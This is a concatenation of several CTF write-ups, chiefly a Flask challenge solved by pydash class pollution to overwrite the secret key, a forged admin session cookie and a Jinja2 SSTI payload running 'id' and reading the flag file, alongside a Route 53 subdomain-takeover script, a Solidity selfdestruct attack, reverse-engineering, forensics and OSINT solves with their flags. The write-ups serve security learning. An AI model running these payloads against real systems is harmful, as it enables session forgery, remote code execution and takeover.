blog_pollution/templates/article.html inflating: blog_pollution/templates/articles.html inflating: blog_pollution/templates/banner.html inflating: blog_pollution/templates/head.html inflating: blog_pollution/templates/home.html inflating: blog_pollution/templates/login.html inflating: blog_pollution/templates/register.html inflating: blog_pollution/users.py```
**In `app.py`, we see 2 routes:**```pyfrom re import templatefrom flask import Flask, render_template, render_template_string, request, redirect, session, sessionsfrom users import Usersfrom articles import Articles
users = Users()articles = Articles()app = Flask(__name__, template_folder='templates')app.secret_key = '(:secret:)'[...]@app.route("/register", methods=["POST", "GET"])def register(): if request.method == 'GET': return render_template('register.html') username, password = request.form.get('username'), request.form.get('password') if type(username) != str or type(password) != str: return render_template("register.html", error="Wtf are you trying bro ?!") result = users.create(username, password) if result == 1: session['user'] = {'username':username, 'seeTemplate': users[username]['seeTemplate']} return redirect("/") elif result == 0: return render_template("register.html", error="User already registered") else: return render_template("register.html", error="Error while registering user")
@app.route("/login", methods=["POST", "GET"])def login(): if request.method == 'GET': return render_template('login.html') username, password = request.form.get('username'), request.form.get('password') if type(username) != str or type(password) != str: return render_template('login.html', error="Wtf are you trying bro ?!") if users.login(username, password) == True: session['user'] = {'username':username, 'seeTemplate': users[username]['seeTemplate']} return redirect("/") else: return render_template("login.html", error="Error while login user")[...]```
Those 2 routes are doing login and register stuff.
**`user.py`:**```pyimport hashlib
class Users:
users = {}
def __init__(self): self.users['admin'] = {'password': None, 'restricted': False, 'seeTemplate':True }
def create(self, username, password): if username in self.users: return 0 self.users[username]= {'password': hashlib.sha256(password.encode()).hexdigest(), 'restricted': True, 'seeTemplate': False} return 1 def login(self, username, password): if username in self.users and self.users[username]['password'] == hashlib.sha256(password.encode()).hexdigest(): return True return False def seeTemplate(self, username, value): if username in self.users and self.users[username].restricted == False: self.users[username].seeTemplate = value
def __getitem__(self, username): if username in self.users: return self.users[username] return None```
In this `Users` class, we can see that all users are stored in a dictionary, which means **no SQL injection**...
So, what's our goal in this challenge?
When we registered a new user, **it sets `restricted` to `True`, and `seeTemplate` to `False`.**
What's `restricted` doing?
**It's used in the `/show_template` route:**```py[...]@app.route('/show_template')def show_template(): if 'user' in session and users[session['user']['username']]['restricted'] == False: if request.args.get('value') == '1': users[session['user']['username']]['seeTemplate'] = True session['user']['seeTemplate'] = True else: users[session['user']['username']]['seeTemplate'] = False session['user']['seeTemplate'] = False return redirect('/articles')[...]```
When `value` GET parameter is provided and it's value is `1`, it sets user's `seeTemplate` to `True`.
**Then, in `/templates/banner.html`, we see this:**

In here, we can see that **the template view is only for admin**, which means we need to do privilege escalation?
Also, there's a `<script>` element. When the checkbox is changed and checked, redirect the user to `/show_template?value=1`.
**Simulate after logged in home page view:** (The `<label>` element's `style` attribute's `display: none` is removed.)

Hmm... With that said, we need to somehow set our user as not restricted, so that we can see the template view.
Uhh... What can we do with that??
**In route `/articles/<name>`, we see something weird:**```[email protected]("/articles/<name>")def render_page(name): article_content = articles[name] if article_content == None: pass if 'user' in session and users[session['user']['username']]['seeTemplate'] != False: article_content = render_template_string(article_content) return render_template('article.html', article={'name':name, 'content':article_content})```
If the user can see template, **it uses `render_template_string()` function with the `article_content`?**
What does `render_template_string()` function do?



Hmm... Which means **if we're not a restricted user, we can abuse the `render_template_string()` function to exploit Server-Side Template Injection (SSTI) vulnerability via creating a new article with SSTI payload in the content, thus having Remote Code Execution (RCE), and read the flag!**
But... How can we even get rid of the restricted user...
Ah! **Pollution**
**Then, I decided to Google: "python prototype pollution"**

"Class Pollution"?
**In [Abdulrah33m's Blog](https://blog.abdulrah33m.com/prototype-pollution-in-python/), he explains how Class Pollution works.**
In Python, everything is an object, and it has some special methods like `__str__()`, `__eq__()`, `__call__()`. Also, there are also other special attributes in every object in Python, such as `__class__`, `__doc__`, etc, each of these attributes is used for a specific purpose.
**That being said, we can use the `__qualname__` attribute that is inside `__class__` to pollute the class and set `__qualname__` attribute to an arbitrary string:**```pyclass Employee: pass # Creating an empty class
emp = Employee()emp.__class__.__qualname__ = 'Polluted'
print(emp)print(Employee)
#> <__main__.Polluted object at 0x0000024765C48250>#> <class '__main__.Polluted'>```
Then, we can abuse the **recursive merge function**!
The recursive merge function can exist in various ways and implementations and might be used to accomplish different tasks, such as merging two or more objects, using JSON to set an object’s attributes, etc. The key functionality to look for is a function that gets untrusted input that we control and use it to set attributes of an object recursively.
Luckly, `__getattr__` and `__setattr__` attribute of an object but also allows us to recursively traverse and set items:
```pyclass Employee: pass # Creating an empty class
def merge(src, dst): # Recursive merge function for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
emp_info = { "name":"Ahemd", "age": 23, "manager":{ "name":"Sarah" } }
emp = Employee()print(vars(emp))
merge(emp_info, emp)
print(vars(emp))print(f'Name: {emp.name}, age: {emp.age}, manager name: {emp.manager.get("name")}')
#> {}#> {'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}#> Name: Ahemd, age: 23, manager name: Sarah```
In the code above, we have a merge function that takes an instance `emp` of the empty `Employee` class and employee’s info `emp_info` which is a dictionary (similar to JSON) that we control as an attacker. The merge function will read keys and values from the `emp_info` dictionary and set them on the given object `emp`. In the end, what was previously an empty instance should have the attributes and items that we gave in the dictionary.
**Now, we can overwrite some special attributes by using the `__qualname__` attribute of `Employee` class via `emp.__class__.__qualname__`:**```pyclass Employee: pass # Creating an empty class
def merge(src, dst): # Recursive merge function for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
emp_info = { "name":"Ahemd", "age": 23, "manager":{ "name":"Sarah" }, "__class__":{ "__qualname__":"Polluted" } }
emp = Employee()merge(emp_info, emp)
print(vars(emp))print(emp)print(emp.__class__.__qualname__)
print(Employee)print(Employee.__qualname__)
#> {'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}#> <__main__.Polluted object at 0x000001F80B20F5D0>#> Polluted
#> <class '__main__.Polluted'>#> Polluted```
We were able to pollute the `Employee` class, because an instance of that class is passed to the merge function, but what if we want to pollute the parent class as well? This is when `__base__` comes into play, `__base__` is another attribute of a class that points to the nearest parent class that it’s inheriting from, so if there is an inheritance chain, `__base__` will point to the last class that we inherit.
In the example shown below, `hr_emp.__class__` points to the `HR` class, while `hr_emp.__class__.__base__` points to the parent class of `HR` class which is `Employee` which we will be polluting.
```pyclass Employee: pass # Creating an empty classclass HR(Employee): pass # Class inherits from Employee class
def merge(src, dst): # Recursive merge function for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
emp_info = { "__class__":{ "__base__":{ "__qualname__":"Polluted" } } }
hr_emp = HR()merge(emp_info, hr_emp)
print(HR)print(Employee)
#> <class '__main__.HR'>#> <class '__main__.Polluted'>```
The same approach can be followed if we want to pollute any parent class (that isn’t one of the immutable types) in the inheritance chain, by chaining `__base__` together such as `__base__.__base__`, `__base__.__base__.__base__` and so on.
Moreover, we can ***leverage the `__globals__` attribute to overwrite ANY variables in the code.***
Based on Python [documentation](https://docs.python.org/3/reference/datamodel.html) `__globals__` is “A reference to the dictionary that holds the function’s global variables — the global namespace of the module in which the function was defined.”
To access items of `__globals__` attribute the merge function must be using `__getitem__` as previously mentioned.
`__globals__` attribute is accessible from any of the defined methods of the instance we control, such as `__init__`. We don’t have to use `__init__` in specific, we can use any defined method of that instance to access `__globals__` , however, most probably we will find `__init__` method on every class since this is the class constructor. We cannot use built-in methods inherited from the `object` class, such as `__str__` unless they were overridden. Keep in mind that `<instance>.__init__`, `<instance>.__class__.__init__` and `<class>.__init__` are all the same and point to the same class constructor.
```pydef merge(src, dst): # Recursive merge function for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
class User: def __init__(self): pass
class NotAccessibleClass: passnot_accessible_variable = 'Hello'
merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())
print(not_accessible_variable)print(NotAccessibleClass)
#> Polluted variable#> <class '__main__.PollutedClass'>```
We leveraged the special attribute `__globals__` to access and set an attribute of `NotAccessibleClass` class, and modify the global variable `not_accessible_variable`. `NotAccessibleClass` and `not_accessible_variable` wouldn’t be accessible without `__globals__` since the class isn’t a parent class of the instance we control and the variable isn’t an attribute of the class we control. However, since we can find a chain of attributes/items to access it from the instance we have, we were able to pollute `NotAccessibleClass` and `not_accessible_variable`.
**Real Examples of the Merge Function:**
**Pydash**, is a Python's library that Based on the **Lo-Dash** JavaScript library. However, Lo-Dash is one of the JavaScript libraries where Prototype Pollution was previously discovered.
In Pydash, **`set_`** and `set_with` functions are examples of recursive merge functions that we can leverage to pollute attributes.
In all the previous examples, the Pydash `set_` and `set_with` functions can be used instead of the merge function that we have written and it will still be exploitable in the same way. The only difference is that Pydash functions use dot notation such as `((<attribute>|<item>).)*(<attribute>|<item>)` to access attributes and items instead of the JSON format.
```pyimport pydash
class User: def __init__(self): pass
class NotAccessibleClass: passnot_accessible_variable = 'Hello'
pydash.set_(User(), '__class__.__init__.__globals__.not_accessible_variable','Polluted variable')print(not_accessible_variable)
pydash.set_(User(), '__class__.__init__.__globals__.NotAccessibleClass.__qualname__','PollutedClass')print(NotAccessibleClass)
#> Polluted variable#> <class '__main__.PollutedClass'>```
**In the Abdulrah33m's blog post, we can see this:**

Ah ha! If we can leverage the Class Pollution, we can try to overwrite the Flask's secret key (It's used for JWT signing)!
**Let's register an account and login!**



**We can decode the JWT:**

As you can see, in the header, the `seeTemplate` is set to `False`. **If we can overwrite the Flask's secret key, we can modify that key to `True`!!**
But how??
**In `articles.py`, it uses the Pydash library!**```pyimport pydash
class Articles:
def __init__(self): self.set('welcome', 'Test of new template system: {\%block test%}Block test{\%endblock%}')
def set(self, article_name, article_content): pydash.set_(self, article_name, article_content) return True
def get(self, article_name): if hasattr(self, article_name): return (self.__dict__[article_name]) return None def remove(self, article_name): if hasattr(self, article_name): delattr(self, article_name)
def get_all(self): return self.__dict__
def __getitem__(self, article_name): return self.get(article_name)```
**The `set()` method is using Pydash's `set_` method!! Which is vulnerable to Class Pollution!**
## Exploitation
Armed with above information, we can read the flag via:
1. Pollute the Flask's secret key via exploiting Class Pollution in Pydash's `set_` method2. Sign and modify the session cookie to escalate our privilege to the `admin` user3. Gain RCE via exploiting SSTI vulnerability in `/articles/<name>` route
First off, we need to pollute the Flask's secret key.
**In the `/create` route, it uses `articles` object instance's `set()` method:**```py[...]@app.route("/create", methods=["POST"])def create_article(): name, content = request.form.get('name'), request.form.get('content') if type(name) != str or type(content) != str or len(name) == 0: return redirect('/articles') articles.set(name, content) return redirect('/articles')[...]```
**Let's test it locally:**```py#!/usr/bin/env python3import pydash
secret = 'hello'
class Articles:
def __init__(self): self.set('welcome', 'Test of new template system: {\%block test%}Block test{\%endblock%}')
def set(self, article_name, article_content): pydash.set_(self, article_name, article_content) return True
def get(self, article_name): if hasattr(self, article_name): return (self.__dict__[article_name]) return None def remove(self, article_name): if hasattr(self, article_name): delattr(self, article_name)
def get_all(self): return self.__dict__
def __getitem__(self, article_name): return self.get(article_name)
if __name__ == '__main__': articles = Articles()
name = '__class__.__init__.__globals__.secret' content = 'Polluted secret' articles.set(name, content)
print(articles.get_all()) print(secret)```
```shellroot@2ff4890118ce:/python-docker# python test.py{'welcome': 'Test of new template system: {\%block test%}Block test{\%endblock%}'}Polluted secret```
It worked!
**After some painful debugging, I found [this CTF writeup from idekCTF 2022](https://ctftime.org/writeup/36082):**

**When using the following payload, it polluted the Flask's secret key:**```py__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.app.secret_key```
**Debug route:**```pyapp.secret_key = '(:secret:)'youShallNotPass = 'no!'[...]@app.route('/youShallNotPass')def index_1(): print(youShallNotPass) print(app.config) # print(articles.__class__.__init__.__globals__) return redirect('/')```

```172.17.0.1 - - [07/May/2023 07:59:28] "POST /create HTTP/1.1" 302 -172.17.0.1 - - [07/May/2023 07:59:28] "GET /articles HTTP/1.1" 200 -172.17.0.1 - - [07/May/2023 07:59:28] "GET /static/style.css HTTP/1.1" 304 -no!<Config {'DEBUG': True, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': 'test', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>```
**Then, we can use [`flask-unsign`](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/flask#flask-unsign) to sign the session cookie with our polluted session key!**```shell┌[siunam♥earth]-(~/ctf/PwnMe-2023-8-bits/Web/Anozer-Blog)-[2023.05.07|16:13:44(HKT)]└> /home/siunam/.local/bin/flask-unsign --sign --cookie "{'user': {'seeTemplate': True, 'username': 'admin'}}" --secret 'test'eyJ1c2VyIjp7InNlZVRlbXBsYXRlIjp0cnVlLCJ1c2VybmFtZSI6ImFkbWluIn19.ZFdeIw._87tCmpjZdrlwxeR1co-5ziDycg```
> Note: The `admin` user is not restricted and can see template.
**And change the original one:**

Boom!! We're the admin user now!!!
**Now, let's view the `welcome` article, and it SHOULD render the `if` block:**

**Before admin:**

Nice!!! It does!!
With that said, let's exploit RCE via SSTI vulnerability!
**According to [HackTricks](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#jinja2-python), we can gain RCE via the following payload:**```py{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}```


Yes!!! Let's read the flag!!!
```py{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat /app/flag.txt').read() }}```


- **Flag: `PWNME{de3P_pOL1uTi0n_cAn_B3_D3s7rUctIv3}`**
## Conclusion
What we've learned:
1. Exploiting Class Pollution (Python's Prototype Pollution) & RCE Via SSTI |
After opening and analysing the given elf file, I got a code thats printing flag if allthe given statements gets true else it prints false.
```__int64 __fastcall main(int a1, char **a2, char **a3){__int64 result; // raxchar *s; // [rsp+28h] [rbp-8h]if ( a1 == 2 ){s = a2[1];if ( strlen(s) == 34&& s[3] + s[4] + s[1] + s[7] - s[8] * s[2] * s[6] * s[5] - s[11] - s[9] - s[10] == -52316790&& s[3] - s[4] - s[6] + s[9] + s[8] * s[11] * s[10] - s[2] + s[5] + s[7] * s[12] == 285707&& s[11] + s[10] * s[4] + s[3] - s[12] * s[7] - s[13] - s[5] * s[9] * s[6] + s[8] == -797145&& s[4] + s[12] - s[7] * s[11] - s[9] - s[5] * s[6] - s[14] - s[8] * s[13] * s[10] == -289275&& s[13] + s[14] + s[7] + s[6] - s[12] - s[15] * s[11] - s[5] + s[8] * s[10] * s[9] == 666868&& s[12] + s[15] * s[16] + s[11] + s[13] - s[10] + s[6] * s[8] - s[7] - s[9] + s[14] == 9837&& s[7] + s[11] - s[8] + s[16] * s[13] - s[17] - s[14] - s[9] + s[10] * s[15] - s[12] == 9858&& s[17] + s[12] + s[9] - s[18] - s[8] - s[15] + s[16] + s[11] * s[14] * s[13] - s[10] == 296504&& s[11] * s[13] * s[18] * s[16] - s[17] - s[10] + s[9] + s[15] * s[12] - s[19] - s[14] == 10963387&& s[17] + s[16] + s[20] + s[12] - s[14] * s[18] * s[15] * s[19] - s[13] - s[11] - s[10] == -65889660&& s[16] - s[19] - s[15] + s[11] * s[13] + s[18] + s[21] * s[12] + s[14] + s[17] * s[20] == 13340&& s[18] * s[16] + s[17] * s[15] - s[20] - s[12] - s[19] * s[14] + s[22] + s[13] * s[21] == 4641&& s[15] + s[20] + s[18] + s[21] + s[13] * s[19] - s[22] - s[16] - s[14] + s[17] * s[23] == 6428&& s[19] * s[24] + s[15] * s[20] + s[16] * s[14] + s[23] - s[18] * s[21] - s[22] * s[17] == 7851&& s[19] + s[24] + s[22] + s[21] + s[25] + s[16] + s[18] + s[20] * s[23] - s[15] + s[17] == 2997&& s[17] * s[23] + s[20] * s[25] - s[16] + s[26] * s[21] - s[24] + s[22] * s[19] * s[18] == 342425&& s[20] + s[26] + s[24] * s[17] + s[27] * s[22] * s[25] - s[21] - s[19] * s[18] + s[23] == 243251&& s[24] + s[22] + s[25] * s[21] - s[28] - s[19] - s[26] * s[27] * s[20] - s[23] + s[18] == -434772&& s[28] + s[19] + s[25] + s[29] - s[24] - s[21] - s[23] + s[27] - s[22] * s[26] + s[20] == -4957&& s[21] + s[30] + s[26] + s[22] * s[23] - s[29] + s[20] - s[24] * s[25] - s[27] - s[28] == -1625&& s[22] + s[26] + s[25] + s[30] + s[23] - s[24] - s[29] - s[31] - s[21] - s[27] - s[28] == -144&& s[29] + s[30] + s[31] - s[26] - s[25] - s[23] - s[28] - s[27] - s[22] - s[32] * s[24] == -7001&& s[33] + s[25] - s[31] * s[23] + s[27] - s[26] * s[32] + s[30] - s[24] * s[29] - s[28] == -18763 ){printf("CORRECT :)");}else{printf("INCORRECT :(");}result = 0LL;}else{printf("Usage: %s <FLAG>", *a2);result = 1LL;}return result;}```
Ofc, Simplest approach to this chall will be using z3, code is given below!
```from z3 import *FLAG_LEN = 34 s = [BitVec(f's{i}',8) for i in range(34)]d = Solver() for i in range(10,33):d.add(s[i] >= ord('0'),s[i]<=ord('z'))d.add(s[0] == ord('V'))d.add(s[1] == ord('i'))d.add(s[2] == ord('s'))d.add(s[3] == ord('h'))d.add(s[4] == ord('w'))d.add(s[5] == ord('a'))d.add(s[6] == ord('C'))d.add(s[7] == ord('T'))d.add(s[8] == ord('F'))d.add(s[9] == ord('{'))d.add(s[33] == ord('}'))d.add(s[3] + s[4] + s[1] + s[7] - s[8] * s[2] * s[6] * s[5] - s[11] - s[9] - s[10] == -52316790)d.add(s[3] - s[4] - s[6] + s[9] + s[8] * s[11] * s[10] - s[2] + s[5] + s[7] * s[12] == 285707)d.add(s[11] + s[10] * s[4] + s[3] - s[12] * s[7] - s[13] - s[5] * s[9] * s[6] + s[8] == -797145)```
From this you will get the Flag,
```FLAG: VishwaCTF{N3V3r_60NN4_61V3_Y0U_UP}``` |
WriteUp Here : https://v0lk3n.github.io/writeup/PwnMeCTF-2023/PwnMeCTF2023-OSINT_Collection#FrenchDream
Or Full Collection Here : https://v0lk3n.github.io/writeup/PwnMeCTF-2023/PwnMeCTF2023-OSINT_Collection |
This solve involves exploiting a dangling delegation DNS record on AWS Route 53 to takeover a subdomain, thus bypass some CSP restrictions.
## The Challenge and Solve
*The notes and screenshots were taken when different challenge instances were running, so several different challenge domains may be in the writeup below.*
### Finding the Dangling Delegation
In the challenge description, it suggested to do a scan of possible subdomain takeover with [dnsReaper](https://github.com/punk-security/dnsReaper) tool made and open sourced by Punk Security.
After the scan, we found a dangling delegation DNS record for zone `dev.[challenge domain]`, as shown in the screenshot below.

I then created hosted zone on AWS Route 53 for `dev.[challenge domain]` and AWS will randomly assign 4 nameservers for the hosted zone. I used the following script to repeatedly create hosted zone and check the nameservers until I got at least one of the nameservers that the zone is delegated to.
```pythonimport boto3import uuidclient = boto3.client('route53')target_nameservers = 'ns-423.awsdns-52.com,ns-904.awsdns-49.net,ns-1899.awsdns-45.co.uk,ns-1125.awsdns-12.org'target_nameservers = set(target_nameservers.split(','))count = 0while True: count += 1 print(count, end='\r') zone = client.create_hosted_zone( Name='dev.d9edd91f-c40.ctf.two.dr.punksecurity.cloud', CallerReference=str(uuid.uuid4()), HostedZoneConfig={ 'PrivateZone': False } ) id = zone['HostedZone']['Id'] nameservers = set(zone['DelegationSet']['NameServers']) if len(nameservers & target_nameservers) > 0: break client.delete_hosted_zone(Id=id)```
It took only just over 100 attempts to get a nameserver that the zone is delegated to.
### Finding Loopholes on the Web
The web app to be exploited uses CSP to restrict the loading of external scripts. It only allows the script from the same origin. However, the session cookie is set to the domain scope of `.[challenge domain]`, that means when making requests to any subdomains or even sub-subdomains etc, the session cookie will be included.

The CSP on the web app also allows images from any origin, so we can load images from the subdomain we took over.
With the `dev.[challenge domain]` zone we took over with our own AWS account, we can create a subdomain `takeover.dev.[challenge domain]` and point it to a web server we control.

Thus, we I post a comment with the following content, the admin bot will make request to our server with the session cookie.
```html```

With the session cookie of the admin bot, we can now make request to the web app with the session cookie and get the flag.
## Notes and Findings during the CTF
In the `results.csv` outputted by dnsReaper, I noticed the link to a [GitHub Issue](https://github.com/punk-security/dnsReaper/issues/122) discussing about some protections on AWS Route 53 against domain takeover because of dangling delegation. In that discussion, there is a link to a [video demo](https://youtu.be/GGfQlPZSRk4?t=712) of the subdomain take over on AWS Route 53 at BSides Newcastle by [SimonGurney](https://github.com/SimonGurney) whom is the author of dnsReaper. Despite not the best recording audio quality, the demo was very helpful to understand this exploit.
Regarding [the protection from dangling delegation records in Route 53](https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/protection-from-dangling-dns.html), when the subdomain hosted zone is removed, the delegation will need to be removed and recreated to delegate the subdomain to a hosted zone. However, if a hosted zone is never created before the delegation, meaning the domain has always been dangling, the protection will not automatically protect against subdomain takeover. |
WriteUp Here : https://v0lk3n.github.io/writeup/PwnMeCTF-2023/PwnMeCTF2023-OSINT_Collection#AmericanDream
Full Collection Here : https://v0lk3n.github.io/writeup/PwnMeCTF-2023/PwnMeCTF2023-OSINT_Collection |
Only a zip file given.
Had two images. Get_It_1.jpeg and Get_It_2.png
In the png Image, their was data after the trailer.

It was a zip file with an audio file with wav format.
Its_a_Morse_not_a_joke_take_it_seriously.wav
The wav file had morse code which yielded the following :
```R E V E R S E T H E A U D I O A N D Y O U S H O U L D F I N D N A M E O F P R O T A G O N I S T. I T O L D Y O U T H A T S T O R Y I N P N G F I L E . E E I E I T E H E E E E E I A E I E E E E E E E EE E E E E E A T NI E E E E <KA> S U E R A M E E I E E E I E E E E E E I E E E I E E E T E E T T E E E TT T I E E E E T E M E T T T E T T E T E E T E O E E I E I E I E I E E E E E E K E I E E T E E Y E E E T E ET E E T E N E E E E II S```
After reversing the audio. The audio was from the show Lucifer. There was only one nametaken and it was Lucifer. That was the name of the protagonist.
After using stegide on the wav file with the password “lucifer”. We get:
NiceThe flag is {the name of protagonist_S01E03}.
name of protagonist should be in small case.
With this we got the flag. |
# space_stream
Writeup by: [j4asper](https://github.com/j4asper)
---
## Challenge Description
Our recon troops gathered information about the enemy territory and reported back to our Planetary Fortress. However, Zerg's Red team hackers infiltraded our database and hid all information about where their main Lair is located. Can you recover the missing image for us?
[startstream.vhd](./files/starstream.vhd)
## Challenge Solution
Whenever i have been given a virtual disk file, i either mount it, if we know that the data is intact, or use a tool like [Autopsy](https://www.autopsy.com/) or `testdisk` a linux CLI tool that can also recover files. The description hints that there is a missing file, so for this i will use testdisk, but you can also use autopsy if you are on windows.
So to use testdisk on the file, we simple run the first command `testdisk startstream.vhd`. Testdisk will ask for what disk to use, and since there is only one, we just proceed by pressing Enter.
Testdisk will automatically detect the filesystem and preselect the partition table type we want to use.

Press Enter to select the detected partion type, and then press enter again to analyse the disk, and then again to perform a quick search. When it has performed the scan, press `Shift + P` to list the files in the virtual disk. Press `a` to select all files.

Then press `Shift + C` to copy (extract) the selected files.

Now you need to select where to place the files that you have selected, i will just go with the default option to store it i nthe same directory as the virtual disk file. When you have selected the save location, press `Shift + C`.
You should now see the confirmation, that te files were saved successfully and be able to see them in the save location.

We are done with testdisk now, it can just be closed. Let's look at the files we extracted. You can ignore the `data_streams:stream5.zip` file, this is just a copy of the zip file found in the `data_streams` folder.

I noticed that when i extracted the zip file `stream5.zip` located in the `data_streams` folder, a pdf appears, but can't be opened because it's password protected.
Let's keep this in mind when going through the `data_streams` folder. I am not sure if testdisk does this for us, but it looks like it extracted text files from the different pictures because the text files are named `stream1.jpg:sarah_kerrigan`, but this makes the process a lot quicker for us, because opening the file `stream1.jpg:sarah_kerrigan` hints that the user uses her name as her password. So we assume that `sarah_kerrigan`, could be the password.
**Minor note:** *When the CTF ended, some people said that half of the pdf was missing, and this could be because of the tool they used to open the pdf. My kali installation defaults pdf's to open in firefox and i can see the whole pdf file.*
When copying in the password, we see that it was correct, we opened the pdf file and can see the flag at the left side.
 |
Write up here : https://v0lk3n.github.io/writeup/PwnMeCTF-2023/PwnMeCTF2023-OSINT_Collection#SocialMedia
Or here for the full OSINT challenge collection : https://v0lk3n.github.io/writeup/PwnMeCTF-2023/PwnMeCTF2023-OSINT_Collection |
# Challenge 01: Classic one tbh
## Challenge
We are provided with one contract and it's address.
```soliditypragma solidity 0.8.17;
contract hero2303 { mapping (address => uint256) private userBalances;
uint256 public constant TOKEN_PRICE = 1 ether; string public constant name = "UNDIVTOK"; string public constant symbol = "UDK"; uint8 public constant decimals = 0;
uint256 public totalSupply;
function buy(uint256 _amount) external payable { require( msg.value == _amount * TOKEN_PRICE, "Ether submitted and Token amount to buy mismatch" );
userBalances[msg.sender] += _amount; totalSupply += _amount; }
function sell(uint256 _amount) external { require(userBalances[msg.sender] >= _amount, "Insufficient balance");
userBalances[msg.sender] -= _amount; totalSupply -= _amount;
(bool success, ) = msg.sender.call{value: _amount * TOKEN_PRICE}(""); require(success, "Failed to send Ether");
assert(getEtherBalance() == totalSupply * TOKEN_PRICE); }
function transfer(address _to, uint256 _amount) external { require(_to != address(0), "_to address is not valid"); require(userBalances[msg.sender] >= _amount, "Insufficient balance"); userBalances[msg.sender] -= _amount; userBalances[_to] += _amount; }
function getEtherBalance() public view returns (uint256) { return address(this).balance; }
function getUserBalance(address _user) external view returns (uint256) { return userBalances[_user]; }}```
The goal is to make everyone unabkle from calling the sell function.
## Solution
The solution is pretty easy. The sell function checks for the balance being the exact value of the tokens.
```assert(getEtherBalance() == totalSupply * TOKEN_PRICE);```
The contract should be safe from this ever deferring, but the developer forgot that you can always force feed a contract using selfdestruct. I just implemented an easy attack which sent one wei to the contract and was done.
```soliditypragma solidity 0.8.17;
contract Attack { function attack(address payable addr) public payable { selfdestruct(addr); }}```
Flag: Hero{S4m3_aS_USU4L_bUT_S3eN_IRL??!} |
[Original write-up](https://github.com/H31s3n-b3rg/CTF_Write-ups/blob/main/BucketCTF_2023/WEB/SQLi/SQLi-3/README.md) (https://github.com/H31s3n-b3rg/CTF_Write-ups/blob/main/BucketCTF_2023/WEB/SQLi/SQLi-3/README.md) |
## Felicette
Starting with a .pcap we note the file name *chall.jpg.pcap* hinting at a jpg buried within the pcap Further inspection shows data for packets 7 to 10 spelling out JFIF.
```0000 45 00 00 1d 00 01 00 00 40 01 a9 c4 0a 9a 04 75 [email protected]0010 c0 a8 01 64 08 00 ad ff 00 00 00 00 4a ...d........J
0000 45 00 00 1d 00 01 00 00 40 01 a9 c4 0a 9a 04 75 [email protected]0010 c0 a8 01 64 08 00 b1 ff 00 00 00 00 46 ...d........F
0000 45 00 00 1d 00 01 00 00 40 01 a9 c4 0a 9a 04 75 [email protected]0010 c0 a8 01 64 08 00 ae ff 00 00 00 00 49 ...d........I
0000 45 00 00 1d 00 01 00 00 40 01 a9 c4 0a 9a 04 75 [email protected]0010 c0 a8 01 64 08 00 b1 ff 00 00 00 00 46 ...d........F```
This means that if we extract the data from each ICMP packet into a another file, we should get an image. Time to break out some python.
```from scapy.all import *from io import BytesIOfrom PIL import Image
# Open the PCAP file for readingpcap_file = "chall.jpg.pcap"packets = rdpcap(pcap_file)
# Loop through each packet in the filefor packet in packets: # Extract data from the packet data = packet.load
with open("chall.jpg", "ab") as f: f.write(data)```
This script loops through each packet and writes the data to a chall.jpg file. Since the script takes longer than 5 mins to exectute, there's probably a more efficient way to do this. After some waiting though, we get the flag.
 |
## Solution Steps* In the set {0,1,2,...,9}, there are 10 possible values which can be placed in 8 different places, so 10^8 leads to 100,000,000 possible combinations.* 1st attempt - 1/100,000,000. 2nd attempt - 1/99,999,999. 3rd attempt - 1/99,999,998 = The probability is 0.00000001 or 0.000001%. * Flag: `jctf{0.00000001}` or `jctf{0.000001%}` or `jctf{1.00000002e-8}` or `jctf{1.00000002x10^-8}` or `jctf{0.0000000100000002}` or `jctf{0.00000100000002%}` or `jctf{.00000001}` or `jctf{.000001%}` or `jctf{.0000000100000002}` or `jctf{.00000100000002%}`
## Knowledge and/or Tools Needed* [MITRE ATT&CK® Technique T1110.001 - Brute Force: Password Guessing](https://attack.mitre.org/techniques/T1110/001/) * [NIST 800-30 Guide for Conducting Risk Assessments](https://csrc.nist.gov/publications/detail/sp/800-30/rev-1/final)* [AAMI TIR57 Principles for Medical Device Security - Risk Management](https://webstore.ansi.org/standards/aami/aamitir572016)* [Health Insurance Portability and Accountability Act of 1996 - HIPAA](https://www.hhs.gov/hipaa/for-professionals/security/laws-regulations/index.html) |
# Baby Calculator
`nc 20.169.252.240 4200`
A good challenge to do writeup.
